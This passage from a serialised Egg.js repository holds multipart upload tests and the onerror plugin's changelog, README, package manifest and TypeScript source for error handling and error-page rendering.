expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data).toEqual({ body: {} });\n  });\n\n  it('should allow to call saveRequestFiles on controller', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file1', __filename, 'foooooooo.js');\n    form.file('file2', __filename);\n    // will ignore empty file\n    form.buffer('file3', Buffer.from(''), '', 'application/octet-stream');\n    form.file('bigfile', getFixtures('bigfile.txt'));\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/save', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data.body).toEqual({\n      foo: 'fengmk2',\n      love: 'egg',\n      work: 'with Node.js',\n    });\n    expect(data.files.length).toBe(3);\n    expect(data.files[0].field).toBe('file1');\n    expect(data.files[0].filename).toBe('foooooooo.js');\n    expect(data.files[0].encoding).toBe('7bit');\n    expect(data.files[0].mime).toBe('application/javascript');\n    expect(data.files[0].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n\n    expect(data.files[1].field).toBe('file2');\n    expect(data.files[1].filename).toBe('stream-mode-with-filematch.test.ts');\n    expect(data.files[1].encoding).toBe('7bit');\n    expect(data.files[1].mime).toBe('video/mp2t');\n    expect(data.files[1].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n\n    expect(data.files[2].field).toBe('bigfile');\n    expect(data.files[2].filename).toBe('bigfile.txt');\n    expect(data.files[2].encoding).toBe('7bit');\n    expect(data.files[2].mime).toBe('text/plain');\n    expect(data.files[2].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n  });\n\n  it('should 400 when request is not multipart', async () => {\n    const res = await urllib.request(host + '/save', {\n      method: 'POST',\n      data: { foo: 'bar' },\n      dataType: 'json',\n    });\n    expect(res.status).toBe(400);\n    expect(res.data).toEqual({\n      message: 'Content-Type must be multipart/*',\n    });\n  });\n\n  it('should register clean_tmpdir schedule', async () => {\n    // [egg-schedule]: register schedule /hello/egg-multipart/app/schedule/clean_tmpdir.js\n    const logger = app.loggers.scheduleLogger;\n    const content = await fs.readFile(logger.options.file, 'utf8');\n    expect(content).toMatch(/\\[@eggjs\\/schedule\\]: register schedule .+clean_tmpdir\\.ts/);\n  });\n});\n"
  },
  {
    "path": "plugins/multipart/test/ts.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport { fileURLToPath } from 'node:url';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport formstream from 'formstream';\nimport urllib from 'urllib';\nimport { beforeAll, afterAll, beforeEach, afterEach, describe, it, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\nconst __filename = fileURLToPath(import.meta.url);\n\ndescribe('test/ts.test.ts', () => {\n  let app: MockApplication;\n  let server: any;\n  let host: string;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('apps/ts'),\n    });\n    return app.ready();\n  });\n  beforeAll(() => {\n    server = app.listen();\n    host = 'http://127.0.0.1:' + server.address().port;\n  });\n  afterAll(() => {\n    return fs.rm(app.config.multipart.tmpdir, { force: true, recursive: true });\n  });\n  afterAll(() => app.close());\n  afterAll(() => server.close());\n  beforeEach(() => app.mockCsrf());\n  afterEach(mm.restore);\n\n  it('ts should run without err', async () => {\n    const form = formstream();\n    form.field('foo', 'bar').field('luckyscript', 'egg');\n    form.file('file1', __filename, 'foooooooo.js');\n    form.file('file2', __filename);\n    // will ignore empty file\n    form.buffer('file3', Buffer.from(''), '', 'application/octet-stream');\n    form.file('bigfile', getFixtures('bigfile.txt'));\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data.body).toEqual({\n      foo: 'bar',\n      luckyscript: 'egg',\n      work: 'with Node.js',\n    });\n    expect(data.files.length).toBe(3);\n    expect(data.files[0].field).toBe('file1');\n    expect(data.files[0].filename).toBe('foooooooo.js');\n    expect(data.files[0].encoding).toBe('7bit');\n    expect(data.files[0].mime).toBe('application/javascript');\n    expect(data.files[0].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n\n    expect(data.files[1].field).toBe('file2');\n    expect(data.files[1].filename).toBe('ts.test.ts');\n    expect(data.files[1].encoding).toBe('7bit');\n    expect(data.files[1].mime).toBe('video/mp2t');\n    expect(data.files[1].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n\n    expect(data.files[2].field).toBe('bigfile');\n    expect(data.files[2].filename).toBe('bigfile.txt');\n    expect(data.files[2].encoding).toBe('7bit');\n    expect(data.files[2].mime).toBe('text/plain');\n    expect(data.files[2].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n  });\n});\n"
  },
  {
    "path": "plugins/multipart/test/utils.ts",
    "content": "import path from 'node:path';\n\nexport function getFixtures(name: string): string {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n"
  },
  {
    "path": "plugins/multipart/test/wrong-mode.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/wrong-mode.test.ts', () => {\n  let app: MockApplication;\n  afterEach(async () => {\n    await app.close();\n  });\n\n  it('should start fail when mode=foo', async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/wrong-mode'),\n    });\n    await expect(async () => {\n      await app.ready();\n    }).rejects.toThrow(/Expect mode to be 'stream' or 'file', but got 'foo'/);\n  });\n\n  it('should start fail when using options.fileModeMatch on file mode', async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/wrong-fileModeMatch'),\n    });\n    await expect(async () => {\n      await app.ready();\n    }).rejects.toThrow(/`fileModeMatch` options only work on stream mode, please remove it/);\n  });\n});\n"
  },
  {
    "path": "plugins/multipart/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/multipart/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    hookTimeout: 20000,\n    include: ['test/**/*.test.ts'],\n    setupFiles: ['test/setup.ts'],\n  },\n});\n"
  },
  {
    "path": "plugins/onerror/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [3.0.0](https://github.com/eggjs/onerror/compare/v2.4.0...v3.0.0) (2025-02-02)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n### Features\n\n* support cjs and esm both by tshy ([#40](https://github.com/eggjs/onerror/issues/40)) ([c51c391](https://github.com/eggjs/onerror/commit/c51c391f3772dc920dd258a345123a455c03d0fc))\n\n## [2.4.0](https://github.com/eggjs/egg-onerror/compare/v2.3.1...v2.4.0) (2024-10-13)\n\n\n### Features\n\n* ignore secure config ([#34](https://github.com/eggjs/egg-onerror/issues/34)) ([bf61d5e](https://github.com/eggjs/egg-onerror/commit/bf61d5ee0edf128cc6ab082839c5bacbf8fa496f))\n\n## [2.3.1](https://github.com/eggjs/egg-onerror/compare/v2.3.0...v2.3.1) (2024-10-13)\n\n\n### Bug Fixes\n\n* fixed show all frame ([#32](https://github.com/eggjs/egg-onerror/issues/32)) ([779fdfd](https://github.com/eggjs/egg-onerror/commit/779fdfdca6cb0dc04e79a4426d586c7d0b97e3f6))\n\n## [2.3.0](https://github.com/eggjs/egg-onerror/compare/v2.2.0...v2.3.0) (2024-10-13)\n\n\n### Features\n\n* use cookie@0.7.2 ([#39](https://github.com/eggjs/egg-onerror/issues/39)) ([fc57345](https://github.com/eggjs/egg-onerror/commit/fc57345661ab6771d74ca5678438bfe7983929a1))\n\n2.2.0 / 2022-12-11\n==================\n\n**features**\n  * [[`a31167c`](http://github.com/eggjs/egg-onerror/commit/a31167ccf6ecc35d51b129299271588b32a51350)] - 👌 IMPROVE: Use currentContext first (#36) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.1.1 / 2022-08-18\n==================\n\n**fixes**\n  * [[`00d2aa2`](http://github.com/eggjs/egg-onerror/commit/00d2aa2a073048dec9b9fc0fd0d868ecc0446830)] - fix: check file exists (#35) (吖猩 <<whxaxes@qq.com>>)\n\n**others**\n  * [[`54e12ba`](http://github.com/eggjs/egg-onerror/commit/54e12baa2eab9b47a2acd6ba0e6f6a0e55c92fc0)] - Create codeql-analysis.yml (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`55d27e6`](http://github.com/eggjs/egg-onerror/commit/55d27e60a9f1094e1a4555e82b47cab4799a57f8)] - chore: update travis (#31) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.1.0 / 2018-06-12\n==================\n\n**features**\n  * [[`63cca2f`](http://github.com/eggjs/egg-onerror/commit/63cca2f3fb087583459e26e38c3874285b14aefd)] - feat: add replace template config (#28) (Harry Chen <<czy88840616@gmail.com>>)\n\n2.0.0 / 2017-11-13\n==================\n\n**others**\n  * [[`6861f8f`](http://github.com/eggjs/egg-onerror/commit/6861f8fb5df4a210afca2c7454dcca4ec1ccbae4)] - refactor: use async function and support egg@2 (#27) (Yiyu He <<dead_horse@qq.com>>)\n\n1.6.0 / 2017-11-13\n==================\n\n**features**\n  * [[`4a1b770`](http://github.com/eggjs/egg-onerror/commit/4a1b7707b28d3cc1e8bd69f4cca606305c507248)] - feat: support customize error handler (#26) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`37c06ce`](http://github.com/eggjs/egg-onerror/commit/37c06ce45fb671a3087f4e74aafcef1ac122360d)] - feat: support jsonp (#25) (Yiyu He <<dead_horse@qq.com>>)\n\n**others**\n  * [[`a0d4df2`](http://github.com/eggjs/egg-onerror/commit/a0d4df2830bf58903dd27e277f963e3d52d32587)] - chore: fix README & update deps & fix test (#23) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`e49252e`](http://github.com/eggjs/egg-onerror/commit/e49252e3a648abbefc562635e163c4b9dd28e57d)] - docs: fix typo (#22) (TZ | 天猪 <<atian25@qq.com>>)\n\n1.5.0 / 2017-07-20\n==================\n\n  * feat: errorPageUrl support function (#21)\n\n1.4.6 / 2017-06-20\n==================\n\n  * fix: only output simple error html on unittest (#19)\n\n1.4.5 / 2017-06-20\n==================\n\n  * fix: should show 4xx status error html (#18)\n\n1.4.4 / 2017-06-12\n==================\n\n  * fix: make error style more good (#17)\n  * fix: add error-title's line-height (#16)\n\n1.4.3 / 2017-06-04\n==================\n\n  * docs: fix License url (#15)\n\n1.4.2 / 2017-06-01\n==================\n\n  * fix: remove error detail on JSON response (#14)\n\n1.4.1 / 2017-06-01\n==================\n\n  * fix: add missing files on package.json (#13)\n\n1.4.0 / 2017-05-31\n==================\n\n  * feat: better error page on development (#12)\n\n1.3.0 / 2017-01-22\n==================\n\n  * feat: use ctx.acceptJSON (#11)\n\n1.2.2 / 2017-01-13\n==================\n\n  * fix: should keep support `*.json` ext to detect response type (#10)\n\n1.2.1 / 2017-01-13\n==================\n\n  * fix: add agent.js to package.files (#9)\n\n1.2.0 / 2017-01-13\n==================\n\n  * feat: support options.accepts\n  * refactor: remove accpetJSON\n\n1.1.0 / 2016-11-09\n==================\n\n  * feat: should watch error event on agent (#7)\n\n1.0.0 / 2016-10-21\n==================\n\n  * deps: upgrade koa-onerror (#6)\n  * fix: make sure ctx always exists (#3)\n\n0.0.3 / 2016-07-16\n==================\n\n  * fix: fix this is undefined on arrow function (#1)\n\n0.0.2 / 2016-07-13\n==================\n  * init code\n"
  },
  {
    "path": "plugins/onerror/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/onerror/README.md",
    "content": "# @eggjs/onerror\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/onerror.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n![CodeRabbit Pull Request Reviews](https://img.shields.io/coderabbit/prs/github/eggjs/onerror)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/onerror.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/onerror\n[snyk-image]: https://snyk.io/test/npm/@eggjs/onerror/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/onerror\n[download-image]: https://img.shields.io/npm/dm/@eggjs/onerror.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/onerror\n\nDefault error handling plugin for egg.\n\n## Usage\n\n`onerror` plugin is enabled by default in egg. But you still can configure its properties to fits your scenarios.\n\n- `errorPageUrl: String or Function` - If user request html pages in production environment and unexpected error happened, it will redirect user to `errorPageUrl`.\n- `accepts: Function` - detect user's request accept `json` or `html`.\n- `all: Function` - customize error handler, if `all` present, negotiation will be ignored.\n- `html: Function` - customize html error handler.\n- `text: Function` - customize text error handler.\n- `json: Function` - customize json error handler.\n- `jsonp: Function` - customize jsonp error handler.\n\n```ts\n// config/config.default.ts\nimport { defineConfig } from 'egg';\n\nexport default defineConfig({\n  onerror: {\n    // errorPageUrl support function\n    errorPageUrl: (err, ctx) => ctx.errorPageUrl || '/500',\n  },\n});\n\n// an accept detect function that mark all request with `x-requested-with=XMLHttpRequest` header accepts json.\nfunction accepts(ctx) {\n  if (ctx.get('x-requested-with') === 'XMLHttpRequest') return 'json';\n  return 'html';\n}\n```\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/onerror/package.json",
    "content": "{\n  \"name\": \"@eggjs/onerror\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"error handler for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"egg-plugin\",\n    \"onerror\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/onerror\",\n  \"license\": \"MIT\",\n  \"author\": \"dead_horse\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/onerror\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./lib/error_view\": \"./src/lib/error_view.ts\",\n    \"./lib/utils\": \"./src/lib/utils.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./lib/error_view\": \"./dist/lib/error_view.js\",\n      \"./lib/utils\": \"./dist/lib/utils.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"cookie\": \"catalog:\",\n    \"koa-onerror\": \"catalog:\",\n    \"mustache\": \"catalog:\",\n    \"stack-trace\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@types/mustache\": \"catalog:\",\n    \"@types/stack-trace\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/onerror/src/agent.ts",
    "content": "import type { ILifecycleBoot, Agent } from 'egg';\n\nexport default class Boot implements ILifecycleBoot {\n  private agent: Agent;\n\n  constructor(agent: Agent) {\n    this.agent = agent;\n  }\n\n  async didLoad(): Promise<void> {\n    // should watch error event\n    this.agent.on('error', (err) => {\n      this.agent.coreLogger.error(err);\n    });\n  }\n}\n"
  },
  {
    "path": "plugins/onerror/src/app.ts",
    "content": "import fs from 'node:fs';\nimport http from 'node:http';\n\nimport type { ILifecycleBoot, Application, Context } from 'egg';\nimport { onerror, type OnerrorOptions, type OnerrorError } from 'koa-onerror';\n\nimport type { OnerrorConfig } from './config/config.default.ts';\nimport { ErrorView } from './lib/error_view.ts';\nimport { isProd, detectStatus, detectErrorMessage, accepts } from './lib/utils.ts';\n\nexport interface OnerrorErrorWithCode extends OnerrorError {\n  code?: string;\n  type?: string;\n  errors?: any[];\n}\n\nexport default class Boot implements ILifecycleBoot {\n  private app: Application;\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  async didLoad(): Promise<void> {\n    // logging error\n    const config = this.app.config.onerror;\n    const viewTemplate = fs.readFileSync(config.templatePath, 'utf8');\n    const app = this.app;\n    app.on('error', (err, ctx) => {\n      if (!ctx) {\n        ctx = app.currentContext || app.createAnonymousContext();\n      }\n      if (config.appErrorFilter && !config.appErrorFilter(err, ctx)) return;\n\n      const status = detectStatus(err);\n      // 5xx\n      if (status >= 500) {\n        try {\n          ctx.logger.error(err);\n        } catch (ex) {\n          app.logger.error(err);\n          app.logger.error(ex);\n        }\n        return;\n      }\n\n      // 4xx\n      try {\n        ctx.logger.warn(err);\n      } catch (ex) {\n        app.logger.warn(err);\n        app.logger.error(ex);\n      }\n    });\n\n    const errorOptions: OnerrorOptions = {\n      // support customize accepts function\n      accepts(this: Context) {\n        const fn = config.accepts || accepts;\n        return fn(this as any);\n      },\n\n      html(err, ctx: Context) {\n        const status = detectStatus(err);\n        const errorPageUrl =\n          typeof config.errorPageUrl === 'function' ? config.errorPageUrl(err, ctx) : config.errorPageUrl;\n\n        // keep the real response status\n        ctx.realStatus = status;\n        // don't respond any error message in production env\n        if (isProd(app)) {\n          // 5xx\n          if (status >= 500) {\n            if (errorPageUrl) {\n              const statusQuery = (errorPageUrl.indexOf('?') > 0 ? '&' : '?') + `real_status=${status}`;\n              return ctx.redirect(errorPageUrl + statusQuery);\n            }\n            ctx.status = 500;\n            ctx.body = `<h2>Internal Server Error, real status: ${status}</h2>`;\n            return;\n          }\n          // 4xx\n          ctx.status = status;\n          ctx.body = `<h2>${status} ${http.STATUS_CODES[status]}</h2>`;\n          return;\n        }\n        // show simple error format for unittest\n        if (app.config.env === 'unittest') {\n          ctx.status = status;\n          ctx.body = `${err.name}: ${err.message}\\n${err.stack}`;\n          return;\n        }\n\n        const errorView = new ErrorView(ctx, err, viewTemplate);\n        ctx.body = errorView.toHTML();\n      },\n\n      json(err: OnerrorErrorWithCode, ctx: Context) {\n        const status = detectStatus(err);\n        let errorJson: Record<string, any> = {};\n\n        ctx.status = status;\n        const code = err.code ?? err.type;\n        const message = detectErrorMessage(ctx, err);\n\n        if (isProd(app)) {\n          // 5xx server side error\n          if (status >= 500) {\n            errorJson = {\n              code,\n              // don't respond any error message in production env\n              message: http.STATUS_CODES[status],\n            };\n          } else {\n            // 4xx client side error\n            // addition `errors`\n            errorJson = {\n              code,\n              message,\n              errors: err.errors,\n            };\n          }\n        } else {\n          errorJson = {\n            code,\n            message,\n            errors: err.errors,\n          };\n\n          if (status >= 500) {\n            // provide detail error stack in local env\n            errorJson.stack = err.stack;\n            errorJson.name = err.name;\n            for (const key in err) {\n              if (!errorJson[key]) {\n                errorJson[key] = (err as any)[key];\n              }\n            }\n          }\n        }\n\n        ctx.body = errorJson;\n      },\n\n      js(err, ctx: Context) {\n        errorOptions.json!.call(ctx, err, ctx);\n\n        if (typeof ctx.createJsonpBody === 'function') {\n          ctx.createJsonpBody(ctx.body);\n        }\n      },\n    };\n\n    // support customize error response\n    const keys: (keyof OnerrorConfig)[] = ['all', 'html', 'json', 'text', 'js'];\n    for (const type of keys) {\n      if (config[type]) {\n        Reflect.set(errorOptions, type, config[type]);\n      }\n    }\n    onerror(app, errorOptions);\n  }\n}\n"
  },
  {
    "path": "plugins/onerror/src/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport type { Context } from 'egg';\nimport type { OnerrorError, OnerrorOptions } from 'koa-onerror';\n\nexport interface OnerrorConfig extends OnerrorOptions {\n  /**\n   * 5xx error will redirect to ${errorPageUrl}\n   * won't redirect in local env\n   *\n   * Default: `''`\n   */\n  errorPageUrl: string | ((err: OnerrorError, ctx: Context) => string);\n  /**\n   * will execute `appErrorFilter` when emit an error in `app`\n   * If `appErrorFilter` return false, egg-onerror won't log this error.\n   * You can logging in `appErrorFilter` and return false to override the default error logging.\n   *\n   * Default: `undefined`\n   */\n  appErrorFilter?: (err: OnerrorError, ctx: Context) => boolean;\n  /**\n   * default template path\n   */\n  templatePath: string;\n}\n\nexport default {\n  onerror: {\n    errorPageUrl: '',\n    appErrorFilter: undefined,\n    templatePath: path.join(import.meta.dirname, '../lib/onerror_page.mustache.html'),\n  } as OnerrorConfig,\n};\n"
  },
  {
    "path": "plugins/onerror/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\n/**\n * Onerror plugin\n *\n * @since 4.1.0\n * Usage:\n * ```ts\n * // config/plugin.ts\n * import onerrorPlugin from '@eggjs/onerror';\n *\n * export default {\n *   ...onerrorPlugin(),\n * };\n * ```\n */\nexport default definePluginFactory({\n  name: 'onerror',\n  enable: true,\n  path: import.meta.dirname,\n  optionalDependencies: ['jsonp'],\n}) as EggPluginFactory;\n"
  },
  {
    "path": "plugins/onerror/src/lib/error_view.ts",
    "content": "// modify from https://github.com/poppinss/youch/blob/develop/src/Youch/index.js\n\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport util from 'node:util';\n\nimport { parse } from 'cookie';\nimport type { Context } from 'egg';\nimport type { OnerrorError } from 'koa-onerror';\nimport Mustache from 'mustache';\nimport stackTrace, { type StackFrame } from 'stack-trace';\n\nimport { detectErrorMessage } from './utils.ts';\n\nconst startingSlashRegex = /\\\\|\\//;\n\nexport interface FrameSource {\n  pre: string[];\n  line: string;\n  post: string[];\n}\n\nexport interface Frame extends StackFrame {\n  context?: FrameSource;\n}\n\nexport class ErrorView {\n  ctx: Context;\n  error: OnerrorError;\n  request: Context['request'];\n  app: Context['app'];\n  assets: Map<string, string>;\n  viewTemplate: string;\n\n  codeContext = 5;\n  _filterHeaders: string[] = ['cookie', 'connection'];\n\n  constructor(ctx: Context, error: OnerrorError, template: string) {\n    this.ctx = ctx;\n    this.error = error;\n    this.request = ctx.request;\n    this.app = ctx.app;\n    this.assets = new Map();\n    this.viewTemplate = template;\n  }\n\n  /**\n   * get html error page\n   *\n   * @return {String} html page\n   */\n  toHTML(): string {\n    const stack = this.parseError();\n    const data = this.serializeData(stack, (frame, index) => {\n      const serializedFrame = this.serializeFrame(frame);\n      serializedFrame.classes = this.getFrameClasses(frame, index);\n      return serializedFrame;\n    });\n\n    return this.compileView(this.viewTemplate, {\n      ...data,\n      appInfo: this.serializeAppInfo(),\n      request: this.serializeRequest(),\n    });\n  }\n\n  /**\n   * compile view\n   *\n   * @param {String} tpl - template\n   * @param {Object} locals - data used by template\n   */\n  compileView(tpl: string, locals: Record<string, unknown>): string {\n    return Mustache.render(tpl, locals);\n  }\n\n  /**\n   * check if the frame is node native file.\n   *\n   * @param {Frame} frame - current frame\n   */\n  isNode(frame: Frame): boolean {\n    if (frame.isNative()) {\n      return true;\n    }\n    const filename = frame.getFileName() || '';\n    return !path.isAbsolute(filename) && filename[0] !== '.';\n  }\n\n  /**\n   * check if the frame is app modules.\n   *\n   * @param {Object} frame - current frame\n   */\n  isApp(frame: Frame): boolean {\n    if (this.isNode(frame)) {\n      return false;\n    }\n    const filename = frame.getFileName() || '';\n    return !filename.includes('node_modules' + path.sep);\n  }\n\n  /**\n   * cache file asserts\n   *\n   * @param {String} key - assert key\n   * @param {String} value - assert content\n   */\n  setAssets(key: string, value: string): void {\n    this.assets.set(key, value);\n  }\n\n  /**\n   * get cache file asserts\n   *\n   * @param {String} key - assert key\n   */\n  getAssets(key: string): string | undefined {\n    return this.assets.get(key);\n  }\n\n  /**\n   * get frame source\n   *\n   * @param {Object} frame - current frame\n   */\n  getFrameSource(frame: StackFrame): FrameSource {\n    const filename = frame.getFileName();\n    const lineNumber = frame.getLineNumber();\n    let contents = this.getAssets(filename);\n    if (!contents) {\n      contents = fs.existsSync(filename) ? fs.readFileSync(filename, 'utf8') : '';\n      this.setAssets(filename, contents);\n    }\n    const lines = contents.split(/\\r?\\n/);\n\n    return {\n      pre: lines.slice(Math.max(0, lineNumber - (this.codeContext + 1)), lineNumber - 1),\n      line: lines[lineNumber - 1],\n      post: lines.slice(lineNumber, lineNumber + this.codeContext),\n    };\n  }\n\n  /**\n   * parse error and return frame stack\n   */\n  parseError(): Frame[] {\n    const stack = stackTrace.parse(this.error);\n    return stack.map((frame: Frame) => {\n      if (!this.isNode(frame)) {\n        frame.context = this.getFrameSource(frame);\n      }\n      return frame;\n    });\n  }\n\n  /**\n   * get stack context\n   *\n   * @param {Object} frame - current frame\n   */\n  getContext(frame: Frame): {\n    start?: number;\n    pre?: string;\n    line?: string;\n    post?: string;\n  } {\n    if (!frame.context) {\n      return {};\n    }\n\n    return {\n      start: frame.getLineNumber() - (frame.context.pre || []).length,\n      pre: frame.context.pre.join('\\n'),\n      line: frame.context.line,\n      post: frame.context.post.join('\\n'),\n    };\n  }\n\n  /**\n   * get frame classes, let view identify the frame\n   *\n   * @param {any} frame - current frame\n   * @param {any} index - current index\n   */\n  getFrameClasses(frame: Frame, index: number): string {\n    const classes: string[] = [];\n    if (index === 0) {\n      classes.push('active');\n    }\n\n    if (!this.isApp(frame)) {\n      classes.push('native-frame');\n    }\n\n    return classes.join(' ');\n  }\n\n  /**\n   * serialize frame and return meaningful data\n   *\n   * @param {Object} frame - current frame\n   */\n  serializeFrame(frame: Frame): {\n    extname: string;\n    file: string;\n    method: string | null;\n    line: number | null;\n    column: number | null;\n    context: { start?: number; pre?: string; line?: string; post?: string };\n    classes: string;\n  } {\n    const filename = frame.getFileName();\n    const relativeFileName = filename.includes(process.cwd())\n      ? filename.replace(process.cwd(), '').replace(startingSlashRegex, '')\n      : filename;\n    const extname = path.extname(filename).replace('.', '');\n\n    return {\n      extname,\n      file: relativeFileName,\n      method: frame.getFunctionName(),\n      line: frame.getLineNumber(),\n      column: frame.getColumnNumber(),\n      context: this.getContext(frame),\n      classes: '',\n    };\n  }\n\n  /**\n   * serialize base data\n   *\n   * @param {Object} stack - frame stack\n   * @param {Function} frameFormatter - frame formatter function\n   */\n  serializeData(\n    stack: Frame[],\n    frameFormatter: (frame: Frame, index: number) => any,\n  ): {\n    code: any;\n    message: string;\n    name: string;\n    status: number | undefined;\n    frames: any[];\n  } {\n    const code = Reflect.get(this.error, 'code') ?? Reflect.get(this.error, 'type');\n    let message = detectErrorMessage(this.ctx, this.error);\n    if (code) {\n      message = `${message} (code: ${code})`;\n    }\n    return {\n      code,\n      message,\n      name: this.error.name,\n      status: this.error.status,\n      frames: stack instanceof Array ? stack.filter((frame) => frame.getFileName()).map(frameFormatter) : [],\n    };\n  }\n\n  /**\n   * serialize request object\n   */\n  serializeRequest(): {\n    url: string;\n    httpVersion: string;\n    method: string;\n    connection: string | string[] | undefined;\n    headers: { key: string; value: string | string[] | undefined }[];\n    cookies: { key: string; value: string | undefined }[];\n  } {\n    const headers: { key: string; value: string | string[] | undefined }[] = [];\n\n    Object.keys(this.request.headers).forEach((key) => {\n      if (this._filterHeaders.includes(key)) {\n        return;\n      }\n      headers.push({\n        key,\n        value: this.request.headers[key],\n      });\n    });\n\n    const parsedCookies = parse(this.request.headers.cookie || '');\n    const cookies = 